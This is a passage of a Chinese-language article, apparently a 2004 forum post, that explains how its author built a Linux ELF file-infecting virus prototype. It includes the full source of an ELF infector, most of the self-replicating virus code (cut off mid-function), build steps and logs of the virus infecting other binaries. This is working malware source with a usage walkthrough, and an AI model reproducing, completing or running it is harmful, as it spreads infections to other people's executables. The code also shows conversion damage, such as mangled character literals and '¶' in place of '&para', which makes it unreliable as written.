|
一、 ** 介绍
写这篇文章的目的主要是对最近写的一个linux病毒原型代码做一个总结，
同时向对这方面有兴趣的朋友做一个简单的介绍。
阅读这篇文章你需要一些知识，要对elf有所了解、能够阅读一些嵌入
了汇编的c代码、了解病毒的基本工作原理。
二、 ** elf infector (elf文件感染器)
为了制作病毒文件，我们需要一个elf文件感染器，用于制造第一个带毒文件。
对于elf文件感染技术，在silvio cesare的《unix elf parasites and virus》
一文中已经有了一个非常好的分析、描述，在这方面我还没有发现可以对其进行补充的
地方，因此在这里我把silvio cesare对elf infection过程的总结贴出来，以供参考：
the final algorithm is using this information is.
* increase p_shoff by page_size in the elf header
* patch the insertion code (parasite) to jump to the entry point
(original)
* locate the text segment program header
* modify the entry point of the elf header to point to the new
code (p_vaddr + p_filesz)
* increase p_filesz by account for the new code (parasite)
* increase p_memsz to account for the new code (parasite)
* for each phdr who"s segment is after the insertion (text segment)
* increase p_offset by page_size
* for the last shdr in the text segment
* increase sh_len by the parasite length
* for each shdr who"s section resides after the insertion
* increase sh_offset by page_size
* physically insert the new code (parasite) and pad to page_size, into
the file - text segment p_offset + p_filesz (original)
在linux病毒原型中所使用的gei - elf infector即是根据这个原理写的。在
附录中你可以看到这个感染工具的源代码: g-elf-infector.c
g-elf-infector与病毒是独立开的，其只在制作第一个病毒文件时被使用。我简单介
绍一下它的使用方法，g-elf-infector.c可以被用于任何希望--将二进制代码插入到
指定文件的文本段，并在目标文件执行时首先被执行--的用途上。g-elf-infector.c
的接口很简单，你只需要提供以下三个定义：
* 存放你的二进制代码返回地址的地址，这里需要的是这个地址与代码起始
地址的偏移，用于返回到目标程序的正常入口
#define paracode_retaddr_addr_offset 1232
* 要插入的二进制代码（由于用c编写，所以这里需要以一个函数的方式提供）
void parasite_code(void);
* 二进制代码的结束（为了易用，这里用一个结尾函数来进行代码长度计算）
void parasite_code_end(void);
parasite_code_end应该是parasite_code函数后的第一个函数定义，通常应该如下表示
void parasite_code(void)
{
...
...
...
}
void parasite_code_end(void) {}
在这里存在一个问题，就是编译有可能在编译时将parasite_code_end放在parasite_code
地址的前面，这样会导致计算代码长度时失败，为了避免这个问题，你可以这样做
void parasite_code(void)
{
...
...
...
}
void parasite_code_end(void) {parasite_code();}
有了这三个定义，g-elf-infector就能正确编译，编译后即可用来elf文件感染
~grip2@linux> ./gei foo
三、** 病毒原型的工作过程
1 首先通过elf infector将病毒代码感染到一个elf文件，这样就创造了第一
个带毒文件，后续的传播就由它来完成。
2 当带毒文件被执行时，会首先跳到病毒代码开始执行。
3 病毒代码开始发作，在这个原型里，病毒会直接开始传播。
4 病毒遍历当前目录下的每一个文件，如果是符合条件的elf文件就开始感染。
5 病毒的感染过程和elf infector的过程类似，但由于工作环境的不同，
代码的实现也是有较大区别的。
6 目前传染对elf文件的基本要求是文本段要有剩余空间能够容纳病毒代码，
如果无法满足，病毒会忽略此elf。对于被感染过一次的elf文件，文本段将不会有
剩余的空间，因此二次感染是不会发生的。
7 病毒代码执行过后，会恢复堆栈和所有寄存器（这很重要），然后跳回到
真正的可执行文件入口，开始正常的运行过程。
上面对病毒原型的工作过程的介绍也许显得千篇一律了，和我们早就熟知的
关于病毒的一些介绍没有什么区别？是的，的确是这样，原理都是类似的，关键是要看
实现。下面我们就将通过对一些技术问题的分析来了解具体的实现思路。
四、** 关键技术问题及处理
1 elf文件执行流程重定向和代码插入
在elf文件感染的问题上，elf infector与病毒传播时调用的infect_virus思路是一样的：
* 定位到文本段，将病毒的代码接到文本段的尾部。这个过程的关键是要熟悉
elf文件的格式，将病毒代码复制到文本段尾部后，能够根据需要调整文本段长度改变
所影响到的后续段(segment)或节(section)的虚拟地址。同时注意把新引入的文本段部
分与一个.setion建立关联，防止strip这样的工具将插入的代码去除。还有一点就是要
注意文本段增加长度的对齐问题，见elf文档中的描述：
p_align
as ``program loading"" later in this part describes, loadable
process segments must have congruent values for p_vaddr and
p_offset, modulo the page size.
* 通过过将elf文件头中的入口地址修改为病毒代码地址来完成代码重定向：
/* modify the entry point of the elf */
org_entry = ehdr->e_entry;
ehdr->e_entry = phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz;
2 病毒代码如何返回到真正的elf文件入口
方法技巧应该很多，这里采用的方法是push+ret组合：
__asm__ volatile (
...
"return:\n\t"
"push $0xaabbccdd\n\t" /* push ret_addr */
"ret\n"
::);
其中0xaabbccdd处存放的是真正的程序入口地址，这个值在插入病毒代码时由感染程
序来填写。
3 堆栈和寄存器的恢复
病毒代码必须保证运行前、后的堆栈和寄存器内容完全相同，这通过增加额外的代码
来完成。
在进入时：
__asm__ volatile (
"push %%eax\n\t"
"push %%ecx\n\t"
"push %%edx\n\t"
::);
退出时：
__asm__ volatile (
"popl %%edx\n\t"
"popl %%ecx\n\t"
"popl %%eax\n\t"
"addl $0x102c, %%esp\n\t"
"popl %%ebx\n\t"
"popl %%esi\n\t"
"popl %%edi\n\t"
"popl %%ebp\n\t"
"jmp return\n"
要注意上面的代码是根据特定的编译器、编译选项来调整的，在不同的环境下如果重
新编译病毒程序，可能还需要做一些调整。
4 字符串的使用
write(1, "hello world\n", 12);
在病毒代码中这样对一个字符串直接引用是不可以的。这是对字符串的使用是一个绝
对地址引用，病毒代码在进入到一个新的宿主内后，这一绝对地址的内容是无法得到
保证的，因此在病毒代码内应该使用相对地址或间接地址进行字符串访问。
下面是silvio cesare的《unix elf parasites and virus》中的一个解决办法，利用
了缓冲区溢出中shellcode的编写技术：
in x86 linux, some syscalls require the use of an absolute address pointing to
initialized data. this can be made relocatable by using a common trick used
in buffer overflow code.
jmp a
b:
pop %eax ; %eax now has the address of the string
. ; continue as usual
.
.
a:
call b
.string \"hello\"
by making a call directly proceeding the string of interest, the address of
the string is pushed onto the stack as the return address.
但是在编写这个linux病毒原型代码时，我并没有使用这个方法，我尽力使代码使用
c语言的语法：
char tmpfile[32] = {"/","t","m","p","/",".","g","v","i","r","u","s","\0"};
#ifndef ndebug
char err_type[32] = {"f","i","l","e"," ","t","y","p","e"," ","n","o","t"," ",
"s","u","p","p","o","r","t","e","d","\n","\0"};
char luck[32] = {"b","e","t","t","e","r"," ","l","u","c","k"," ",
"n","e","x","t"," ","f","i","l","e","\n","\0"};
#endif
在这里将字符串以字符数组的形式出现，编译之后的代码是这样：
...
movb $47, -8312(%ebp)
movb $116, -8311(%ebp)
movb $109, -8310(%ebp)
movb $112, -8309(%ebp)
movb $47, -8308(%ebp)
movb $46, -8307(%ebp)
movb $103, -8306(%ebp)
movb $118, -8305(%ebp)
movb $105, -8304(%ebp)
movb $114, -8303(%ebp)
movb $117, -8302(%ebp)
movb $115, -8301(%ebp)
...
这样带来一个负面影响就是增加了代码长度，但是适当的使用对代码长度影响并不大。
值得注意的一点是，当字符数组定义的尺寸超过了64时，在我的编译环境下，编译器
对代码进行了优化，会导致编译后代码成为：
...
.section .rodata
.lc0:
.byte 47
.byte 116
.byte 109
.byte 112
.byte 47
.byte 46
.byte 103
.byte 118
.byte 105
.byte 114
.byte 117
.byte 115
.byte 0
...
数据被放到了.rodata section中，这样就使得其无法随病毒代码一起进入宿主，会
造成访问失败，所以注意数组的申请尽量保持32以内，防止编译器优化。
除此之外，使用整型数组的方法也与此类似，不再赘述。
5 遭遇gcc-3.3的bug
gvirus.c中有一部分的数据初始化是这样的：
...
char curdir[2] = {".", 0};
char newline = "\n";
curdir[0] = ".";
curdir[1] = 0;
newline = "\n";
if ((curfd = g_open(curdir, o_rdonly, 0)) < 0)
goto out;
...
也许你会奇怪，为什么curdir和newline在已经初始化后还要重新赋值，这其中的原因
是为了绕过一个gcc的bug。
在我的编译环境下，当只做
char curdir[2] = {".", 0};
char newline = "\n";
这样的初始化时，反汇编代码如下：
...
0x08048cb0 <parasite_code+0>: push %ebp
0x08048cb1 <parasite_code+1>: push %edi
0x08048cb2 <parasite_code+2>: push %esi
0x08048cb3 <parasite_code+3>: push %ebx
0x08048cb4 <parasite_code+4>: sub $0x20bc,%esp
0x08048cba <parasite_code+10>: push %eax
0x08048cbb <parasite_code+11>: push %ecx
0x08048cbc <parasite_code+12>: push %edx
0x08048cbd <parasite_code+13>: xor %ecx,%ecx
0x08048cbf <parasite_code+15>: lea 0x4e(%esp),%ebx <-- 使用curdir
0x08048cc3 <parasite_code+19>: mov $0x5,%eax
0x08048cc8 <parasite_code+24>: mov %ecx,%edx
0x08048cca <parasite_code+26>: int $0x80 <-- g_open系统调用
0x08048ccc <parasite_code+28>: mov %eax,0x38(%esp)
0x08048cd0 <parasite_code+32>: cmp $0xffffff82,%eax
0x08048cd3 <parasite_code+35>: jbe 0x8048cdd <parasite_code+45>
0x08048cd5 <parasite_code+37>: movl $0xffffffff,0x38(%esp)
0x08048cdd <parasite_code+45>: mov 0x38(%esp),%eax
0x08048ce1 <parasite_code+49>: test %eax,%eax
0x08048ce3 <parasite_code+51>: js 0x804915d <infect_start+1128>
0x08048ce9 <parasite_code+57>: movw $0x2e,0x4e(%esp) <-- curdir的初始化
...
从注释可以看出，在这种情况下，curdir的初始化被放到了g_open使用其做参数之后。
当加入
curdir[0] = ".";
curdir[1] = 0;
newline = "\n";
后，反汇编代码如下：
...
0x08048cb0 <parasite_code+0>: push %ebp
0x08048cb1 <parasite_code+1>: push %edi
0x08048cb2 <parasite_code+2>: push %esi
0x08048cb3 <parasite_code+3>: push %ebx
0x08048cb4 <parasite_code+4>: sub $0x20bc,%esp
0x08048cba <parasite_code+10>: push %eax
0x08048cbb <parasite_code+11>: push %ecx
0x08048cbc <parasite_code+12>: push %edx
0x08048cbd <parasite_code+13>: xor %ecx,%ecx
0x08048cbf <parasite_code+15>: movw $0x2e,0x4e(%esp) <-- curdir的初始化
0x08048cc6 <parasite_code+22>: lea 0x4e(%esp),%ebx <-- 作为参数使用
0x08048cca <parasite_code+26>: mov $0x5,%eax
0x08048ccf <parasite_code+31>: mov %ecx,%edx
0x08048cd1 <parasite_code+33>: int $0x80 <-- g_open系统调用
...
从注释可以看出，加入了这段代码后，程序编译正确，避免了这个编译器bug。
6 通过c语言和inline保证病毒代码的可读性和可移植性
用汇编写病毒代码的一个缺点就是 - 可读性和可移植性差，这也是使用汇编语言写
程序的一个普遍的缺点。
在这个linux病毒原型代码了主体使用的都是c语言，只有极少部分由于c语言本身的
限制而不得不使用gcc嵌入汇编。对于c语言部分，也尽量是用inline函数，保证代码
层次分明，保证可读性。
7 病毒代码复制时如何获得自己的起始地址？
虽然，病毒代码部分向elf infector提供了代码的起始地址，保证了生成第一个带毒
文件时能够找到代码并插入到目标文件内。但是作为进入宿主内部的代码在进行传播
时却无法使用这个地址，因为它的代码位置已经受到了宿主的影响，这时它需要重新
定位自己的起始位置。
在写这个病毒原型时，我并没有参考过其它病毒的代码，因此这里采用的也许并
不是一个最好的方法：
/* get start address of virus code */
__asm__ volatile (
"jmp get_start_addr\n"
"infect_start:\n\t"
"popl %0\n\t"
:"=m" (para_code_start_addr)
:);
para_code_start_addr -= paracode_retaddr_addr_offset - 1;
... /* c代码 */
...
__asm__ volatile (
...
"get_start_addr:\n\t"
"call infect_start\n"
"return:\n\t"
"push $0xaabbccdd\n\t" /* push ret_addr */
"ret\n"
::);
通过缓冲区溢出中的一个技巧，jmp/call组合来得到push $0xaabbccdd指令的地址。
这个地址是0xaabbccdd地址向后一个push指令，而0xaabbccdd的地址就是那个用于
存放病毒代码返回地址的地址，这个地址相对于病毒代码起始地址的偏移我们是知道
的，就是病毒代码函数向elf infector接口提供的那个宏定义的值：
#ifndef ndebug
#define paracode_retaddr_addr_offset 1704
#else
#define paracode_retaddr_addr_offset 1232
#endif
这样病毒代码在当前宿主中的位置就可以得到了（注意从汇编指令出来后，
para_code_start_addr中存放的是0xaabbccdd的地址，我们减去偏移再减
一个push指令的长度，就是病毒代码的起始地址）:
para_code_start_addr -= paracode_retaddr_addr_offset - 1;
8 抛弃c库
由于病毒代码要能在不同的elf文件内容工作，所以我们必须要保证所有的相关函数
调用在病毒体内即可完成。而对c库的使用将使我们很难做到这一点，即使有的c库函
数是可以完全内联的（完全内联就是说，这个函数本身可以内联，同时其内部没有向
外的函数调用），但是随着编译环境的不同，这点也是不能得到根本保证的，因此我
们有必要选择抛弃c库。
没有了c库，我们使用到的一些函数调用就必须重新实现。在这个linux病毒原型中有
两种情况，一种是系统调用，另一种是普通的函数。
对于系统调用，我们采用了重新包装的方法：
static inline
g_syscall3(int, write, int, fd, const void *, buf, off_t, count);
static inline
g_syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count);
static inline
g_syscall3(int, open, const char *, file, int, flag, int, mode);
static inline
g_syscall1(int, close, int, fd);
static inline
g_syscall6(void *, mmap2, void *, addr, size_t, len, int, prot,
int, flags, int, fd, off_t, offset);
static inline
g_syscall2(int, munmap, void *, addr, size_t, len);
static inline
g_syscall2(int, rename, const char *, oldpath, const char *, newpath);
static inline
g_syscall2(int, fstat, int, filedes, struct stat *, buf);
并且修改了syscall包装的宏定义，如
#define g__syscall_return(type, res) \
do { \
if ((unsigned long)(res) >= (unsigned long)(-125)) { \
res = -1; \
} \
return (type) (res); \
} while (0)
#define g_syscall0(type,name) \
type g_##name(void) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__nr_##name)); \
g__syscall_return(type,__res); \
}
对于普通的函数，直接复制一份函数定义：
static inline void * __memcpy(void * to, const void * from, size_t n)
{
int d0, d1, d2;
__asm__ __volatile__(
"rep ; movsl\n\t"
"testb $2,%b4\n\t"
"je 1f\n\t"
"movsw\n"
"1:\ttestb $1,%b4\n\t"
"je 2f\n\t"
"movsb\n"
"2:"
: "=&c" (d0), "=&d" (d1), "=&s" (d2)
:"0" (n/4), "q" (n),"1" ((long) to),"2" ((long) from)
: "memory");
return (to);
}
9 保证病毒代码的瘦身需要
为了保证病毒代码体积不至于过于庞大，影响病毒代码的感染，编写代码时也要注意
代码体积问题。由于采用c代码的方式，一些函数调用都是内联的方式，因此每多一个
调用都会引起代码体积的增加。
在进行elf文件读写更是如此，read/write被频繁的调用。为了减小这方面的影响，对
目标elf文件进行了一个mmap处理，这样地址空间直接被映射到文件，就消除了读目标
文件时所要做的read调用，节省了一些空间：
ehdr = g_mmap2(0, stat.st_size, prot_write|prot_read, map_shared, fd, 0);
if (ehdr == map_failed) {
goto err;
}
/* check elf magic-ident */
if (ehdr->e_ident[ei_mag0] != 0x7f
|| ehdr->e_ident[ei_mag1] != "e"
|| ehdr->e_ident[ei_mag2] != "l"
|| ehdr->e_ident[ei_mag3] != "f"
|| ehdr->e_ident[ei_class] != elfclass32
|| ehdr->e_ident[ei_data] != elfdata2lsb
|| ehdr->e_ident[ei_version] != ev_current
|| ehdr->e_type != et_exec
|| ehdr->e_machine != em_386
|| ehdr->e_version != ev_current
) {
v_debug_write(1, &err_type, sizeof(err_type));
goto err;
}
当前的代码都是用c编写，这样很难象汇编代码那样进行更高程度的精简，不过目前的
代码体积还在合理的范围，
在调试状态和标准状态分别是1744和1248
#ifndef ndebug
#define paracode_length 1744
#else
#define paracode_length 1248
#endif
10 数据结构的不一致
与c库的代码调用类似，我们使用的头文件中有一些数据类型的定义是经过
包装的，与系统调用中使用的并不相同。代码相关的两个数据结构，单独提取了出来。
struct dirent {
long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[256]; /* we must not include limits.h! */
};
struct stat {
unsigned long st_dev;
unsigned long st_ino;
unsigned short st_mode;
unsigned short st_nlink;
unsigned short st_uid;
unsigned short st_gid;
unsigned long st_rdev;
unsigned long st_size;
unsigned long st_blksize;
unsigned long st_blocks;
unsigned long st_atime;
unsigned long st_atime_nsec;
unsigned long st_mtime;
unsigned long st_mtime_nsec;
unsigned long st_ctime;
unsigned long st_ctime_nsec;
unsigned long __unused4;
unsigned long __unused5;
};
五、** 在一个新的编译环境下的调试方法
grip2@linux:~/tmp/virus> ls
g-elf-infector.c gsyscall.h gunistd.h gvirus.c gvirus.h foo.c makefile parasite-sample.c parasite-sample.h
调整makefile文件，将编译模式改为调试模式，即关掉-dndebug选项
grip2@linux:~/tmp/virus> cat makefile
all: foo gei
gei: g-elf-infector.c gvirus.o
gcc -o2 $< gvirus.o -o gei -wall #-dndebug
foo: foo.c
gcc $< -o foo
gvirus.o: gvirus.c
gcc $< -o2 -c -o gvirus.o -fomit-frame-pointer -wall #-dndebug
clean:
rm *.o -rf
rm foo -rf
rm gei -rf
编译代码
grip2@linux:~/tmp/virus> make
gcc foo.c -o foo
gcc gvirus.c -o2 -c -o gvirus.o -fomit-frame-pointer -wall #-dndebug
gcc -o2 g-elf-infector.c gvirus.o -o gei -wall #-dndebug
先获取病毒代码长度，然后调整gvirus.c中的#define paracode_length定义
grip2@linux:~/tmp/virus> ./gei -l <-- 这里获取病毒代码的长度
parasite code length: 1744
获取病毒代码开始位置和0xaabbccdd的地址，计算存放返回地址的地址的偏移
grip2@linux:~/tmp/virus> objdump -d gei|grep aabbccdd
8049427: 68 dd cc bb aa push $0xaabbccdd
grip2@linux:~/tmp/virus> objdump -d gei|grep "<parasite_code>"
08048d80 <parasite_code>:
8049450: e9 2b f9 ff ff jmp 8048d80 <parasite_code>
grip2@linux:~/tmp/virus> objdump -d gei|grep "<parasite_code>:"
08048d80 <parasite_code>:
0x8049427与0x8048d80相减即获得我们需要的偏移，
用这个值更新gvirus.h中的#define paracode_retaddr_addr_offset宏的值
重新编译
grip2@linux:~/tmp/virus> make clean
rm *.o -rf
rm foo -rf
rm gei -rf
grip2@linux:~/tmp/virus> make
gcc foo.c -o foo
gcc gvirus.c -o2 -c -o gvirus.o -fomit-frame-pointer -wall #-dndebug
gcc -o2 g-elf-infector.c gvirus.o -o gei -wall #-dndebug
grip2@linux:~/tmp/virus> ls
gei gsyscall.h gvirus.c gvirus.o foo.c parasite-sample.c
g-elf-infector.c gunistd.h gvirus.h foo makefile parasite-sample.h
建立一个测试目录，测试一下
grip2@linux:~/tmp/virus> mkdir test
grip2@linux:~/tmp/virus> cp gei foo test
grip2@linux:~/tmp/virus> cd test
grip2@linux:~/tmp/virus/test> ls
gei foo
grip2@linux:~/tmp/virus/test> cp foo h
制作带毒程序
grip2@linux:~/tmp/virus/test> ./gei h
file size: 8668
e_phoff: 00000034
e_shoff: 00001134
e_phentsize: 00000020
e_phnum: 00000008
e_shentsize: 00000028
e_shnum: 00000025
text segment file offset: 0
[15 sections patched]
grip2@linux:~/tmp/virus/test> ll
total 44
-rwxr-xr-x 1 grip2 users 14211 2004-12-13 07:50 gei
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h
-rwxr-xr-x 1 grip2 users 8668 2004-12-13 07:50 foo
运行带毒程序
grip2@linux:~/tmp/virus/test> ./h
.
..
gei
foo
h
.backup.h
real elf point
grip2@linux:~/tmp/virus/test> ll
total 52
-rwxr-xr-x 1 grip2 users 18307 2004-12-13 07:51 gei
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 foo
测试上面带毒程序运行后，是否感染了其他elf程序
grip2@linux:~/tmp/virus/test> ./foo
.
..
gei
better luck next file
foo
h
better luck next file
.backup.h
better luck next file
real elf point
ok，成功
grip2@linux:~/tmp/virus/test> cp ../foo hh
grip2@linux:~/tmp/virus/test> ll
total 64
-rwxr-xr-x 1 grip2 users 18307 2004-12-13 07:51 gei
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h
-rwxr-xr-x 1 grip2 users 8668 2004-12-13 07:51 hh
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 foo
grip2@linux:~/tmp/virus/test> ./foo
.
..
gei
better luck next file
foo
h
better luck next file
.backup.h
better luck next file
hh
real elf point
grip2@linux:~/tmp/virus/test>
六、** 最后
由于我既不是一个virus coder也不是一个anti-virus coder，所以对病毒
技术的掌握应该是有欠缺的。如果在文章中对病毒技术的描述不够准确，分析不够到
位，还请指正，谢谢。
七、** 参考文献
1 silvio cesare 的《unix elf parasites and virus》
2 elf文档
3 更多的安全技术交流
http://www.linuxforum.net/forum/showflat.php?cat=&board=security&
number=479955&page=0&view=collapsed&sb=5&o=31&fpart=
八、** 附录 - elf文件感染工具和病毒原型源代码
------------------------------ g-elf_infector.c ------------------------------
/*
* gei - elf infector v0.0.2 (2004)
* written by grip2 <gript2@hotmail.com>
*/
#include <elf.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include "gvirus.h"
#define page_size 4096
#define page_align(a) (((a) + page_size - 1) & ~(page_size - 1))
static int elf_infect(const char *filename,
void *para_code,
unsigned int para_code_size,
unsigned long retaddr_addr_offset);
int main(int argc, char *argv[])
{
#define max_filename_len 256
char backup[max_filename_len*4];
char restore[max_filename_len*4];
if (argc != 2) {
fprintf(stderr,
"gei - elf infector v0.0.2 written by grip2 <gript2@hotmail.com>\n");
fprintf(stderr, "usage: %s <elf-exec-file>\n", argv[0]);
return 1;
}
if (strcmp(argv[1], "-l") == 0) {
fprintf(stderr, "parasite code length: %d\n",
¶site_code_end - ¶site_code);
return 1;
}
if (strlen(argv[1]) > max_filename_len) {
fprintf(stderr, "filename too long!\n");
return 1;
}
sprintf(backup, "cp -f %s .backup.%s\n", argv[1], argv[1]);
sprintf(restore, "cp -f .backup.%s %s\n", argv[1], argv[1]);
system(backup);
if (elf_infect(argv[1], ¶site_code,
¶site_code_end - ¶site_code,
paracode_retaddr_addr_offset) < 0) {
system(restore);
return 1;
}
return 0;
}
static int elf_infect(const char *filename,
void *para_code,
unsigned int para_code_size,
unsigned long retaddr_addr_offset)
{
int fd = -1;
int tmp_fd = -1;
elf32_ehdr *ehdr = null;
elf32_phdr *phdr;
elf32_shdr *shdr;
int i;
int txt_index;
struct stat stat;
int align_code_size;
unsigned long org_entry;
void *new_code_pos;
int tmp_flag;
int size;
unsigned char tmp_para_code[page_size];
char *tmpfile;
tmpfile = tempnam(null, "infector");
fd = open(filename, o_rdwr);
if (fd == -1) {
perror(filename);
goto err;
}
if (fstat(fd, &stat) == -1) {
perror("fstat");
goto err;
}
#ifndef ndebug
printf("file size: %lu\n", stat.st_size);
#endif
ehdr = mmap(0, stat.st_size, prot_write|prot_read, map_shared, fd, 0);
if (ehdr == map_failed) {
perror("mmap ehdr");
goto err;
}
/* check elf magic-ident */
if (ehdr->e_ident[ei_mag0] != 0x7f
|| ehdr->e_ident[ei_mag1] != "e"
|| ehdr->e_ident[ei_mag2] != "l"
|| ehdr->e_ident[ei_mag3] != "f"
|| ehdr->e_ident[ei_class] != elfclass32
|| ehdr->e_ident[ei_data] != elfdata2lsb
|| ehdr->e_ident[ei_version] != ev_current
|| ehdr->e_type != et_exec
|| ehdr->e_machine != em_386
|| ehdr->e_version != ev_current
) {
fprintf(stderr, "file type not supported\n");
goto err;
}
#ifndef ndebug
printf("e_phoff: %08x\ne_shoff: %08x\n",
ehdr->e_phoff, ehdr->e_shoff);
printf("e_phentsize: %08x\n", ehdr->e_phentsize);
printf("e_phnum: %08x\n", ehdr->e_phnum);
printf("e_shentsize: %08x\n", ehdr->e_shentsize);
printf("e_shnum: %08x\n", ehdr->e_shnum);
#endif
align_code_size = page_align(para_code_size);
/* get program header and section header start address */
phdr = (elf32_phdr *) ((unsigned long) ehdr + ehdr->e_phoff);
shdr = (elf32_shdr *) ((unsigned long) ehdr + ehdr->e_shoff);
/* locate the text segment */
txt_index = 0;
while (1) {
if (txt_index == ehdr->e_phnum - 1) {
fprintf(stderr, "invalid e_phnum, text segment not found.\n");
goto err;
}
if (phdr[txt_index].p_type == pt_load
&& phdr[txt_index].p_flags == (pf_r|pf_x)) { /* text segment */
#ifndef ndebug
printf("text segment file offset: %u\n", phdr[txt_index].p_offset);
#endif
if (phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz + align_code_size
> phdr[txt_index+1].p_vaddr) {
fprintf(stderr, "better luck next file :-)\n");
goto err;
}
break;
}
txt_index++;
}
/* modify the entry point of the elf */
org_entry = ehdr->e_entry;
ehdr->e_entry = phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz;
new_code_pos =
(void *) ehdr + phdr[txt_index].p_offset + phdr[txt_index].p_filesz;
/* increase the p_filesz and p_memsz of text segment
* for new code */
phdr[txt_index].p_filesz += align_code_size;
phdr[txt_index].p_memsz += align_code_size;
for (i = 0; i < ehdr->e_phnum; i++)
if (phdr[i].p_offset >= (unsigned long) new_code_pos - (unsigned long) ehdr)
phdr[i].p_offset += align_code_size;
tmp_flag = 0;
for (i = 0; i < ehdr->e_shnum; i++) {
if (shdr[i].sh_offset >= (unsigned long) new_code_pos - (unsigned long) ehdr) {
shdr[i].sh_offset += align_code_size;
if (!tmp_flag && i) { /* associating the new_code to the last
* section in the text segment */
shdr[i-1].sh_size += align_code_size;
tmp_flag = 1;
printf("[%d sections patched]\n", i-1);
}
}
}
/* increase p_shoff in the elf header */
ehdr->e_shoff += align_code_size;
/* make a new file */
tmp_fd = open(tmpfile, o_wronly|o_creat, stat.st_mode);
if (tmp_fd == -1) {
perror("open");
goto err;
}
size = new_code_pos - (void *) ehdr;
if (write(tmp_fd, ehdr, size) != size) {
perror("write");
goto err;
}
memcpy(tmp_para_code, para_code, para_code_size);
memcpy(tmp_para_code + retaddr_addr_offset,
&org_entry, sizeof(org_entry));
if (write(tmp_fd, tmp_para_code, align_code_size) != align_code_size) {
perror("write");
goto err;
}
if (write(tmp_fd, (void *) ehdr + size, stat.st_size - size)
!= stat.st_size - size) {
perror("write");
goto err;
}
close(tmp_fd);
munmap(ehdr, stat.st_size);
close(fd);
if (rename(tmpfile, filename) == -1) {
perror("rename");
goto err;
}
return 0;
err:
if (tmp_fd != -1)
close(tmp_fd);
if (ehdr)
munmap(ehdr, stat.st_size);
if (fd != -1)
close(fd);
return -1;
}
------------------------------ g-elf_infector.c ------------------------------
------------------------------ gvirus.h ------------------------------
#ifndef _g2_parasite_code_
#define _g2_parasite_code_
#ifndef ndebug
#define paracode_retaddr_addr_offset 1704
#else
#define paracode_retaddr_addr_offset 1232
#endif
void parasite_code(void);
void parasite_code_end(void);
#endif
------------------------------ gvirus.h ------------------------------
------------------------------ gvirus.c ------------------------------
/*
* virus code in c (2004)
* written by grip2 <gript2@hotmail.com>
*/
#include "gsyscall.h"
#include "gvirus.h"
#include <elf.h>
#define page_size 4096
#define page_align(a) (((a) + page_size - 1) & ~(page_size - 1))
#ifndef ndebug
#define paracode_length 1744
#else
#define paracode_length 1248
#endif
#ifndef ndebug
#define v_debug_write(...) \
do {\
g_write(__va_args__);\
} while(0)
#else
#define v_debug_write(...)
#endif
static inline int infect_virus(
const char *file,
void *v_code,
unsigned int v_code_size,
unsigned long v_retaddr_addr_offset)
{
int fd = -1;
int tmp_fd = -1;
elf32_ehdr *ehdr = null;
elf32_phdr *phdr;
elf32_shdr *shdr;
int i;
int txt_index;
struct stat stat;
int align_code_size;
unsigned long org_entry;
void *new_code_pos;
int tmp_flag;
int size;
unsigned char tmp_v_code[page_size];
char tmpfile[32] = {"/","t","m","p","/",".","g","v","i","r","u","s","\0"};
#ifndef ndebug
char err_type[32] = {"f","i","l","e"," ","t","y","p","e"," ","n","o","t"," ",
"s","u","p","p","o","r","t","e","d","\n","\0"};
char luck[32] = {"b","e","t","t","e","r"," ","l","u","c","k"," ",
"n","e","x","t"," ","f","i","l","e","\n","\0"};
#endif
fd = g_open(file, o_rdwr, 0);
if (fd == -1) {
goto err;
}
if (g_fstat(fd, &stat) == -1) {
goto err;
}
ehdr = g_mmap2(0, stat.st_size, prot_write|prot_read, map_shared, fd, 0);
if (ehdr == map_failed) {
goto err;
}
/* check elf magic-ident */
if (ehdr->e_ident[ei_mag0] != 0x7f
|| ehdr->e_ident[ei_mag1] != "e"
|| ehdr->e_ident[ei_mag2] != "l"
|| ehdr->e_ident[ei_mag3] != "f"
|| ehdr->e_ident[ei_class] != elfclass32
|| ehdr->e_ident[ei_data] != elfdata2lsb
|| ehdr->e_ident[ei_version] != ev_current
|| ehdr->e_type != et_exec
|| ehdr->e_machine != em_386
|| ehdr->e_version != ev_current
) {
v_debug_write(1, &err_type, sizeof(err_type));
goto err;
}
align_code_size = page_align(v_code_size);
/* get program header and section header start address */
phdr = (elf32_phdr *) ((unsigned long) ehdr + ehdr->e_phoff);
shdr = (elf32_shdr *) ((unsigned long) ehdr + ehdr->e_shoff);
/* locate the text segment */
txt_index = 0;
while (1) {
if (txt_index == ehdr->e_phnum - 1)
goto err;
if (phdr[txt_index].p_type == pt_load
&& phdr[txt_index].p_flags == (pf_r|pf_x)) { /* text segment */
if (phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz + align_code_size
> phdr[txt_index+1].p_vaddr) {
v_debug_write(1, &luck, sizeof(luck));
goto err;
}
break;
}
txt_index++;
}
/* modify the entry point of the elf */
org_entry = ehdr->e_entry;
ehdr->e_entry = phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz;
new_code_pos =
(void *) ehdr + phdr[txt_index].p_offset + phdr[txt_index].p_filesz;
/* increase the p_filesz and p_memsz of text segment
* for new code */
phdr[txt_index].p_filesz += align_code_size;
phdr[txt_index].p_memsz += align_code_size;
for (i = 0; i < ehdr->e_phnum; i++)
if (phdr[i].p_offset >= (unsigned long) new_code_pos - (unsigned long) ehdr)
phdr[i].p_offset += align_code_size;
tmp_flag = 0;
for (i = 0; i < ehdr->e_shnum; i++) {
if (shdr[i].sh_offset >= (unsigned long) new_code_pos - (unsigned long) ehdr) {
shdr[i].sh_offset += align_code_size;
if (!tmp_flag && i) { /* associating the new_code to the last
* section in the text segment */
shdr[i-1].sh_size += align_code_size;
tmp_flag = 1;
}
}
}
/* increase p_shoff in the elf header */
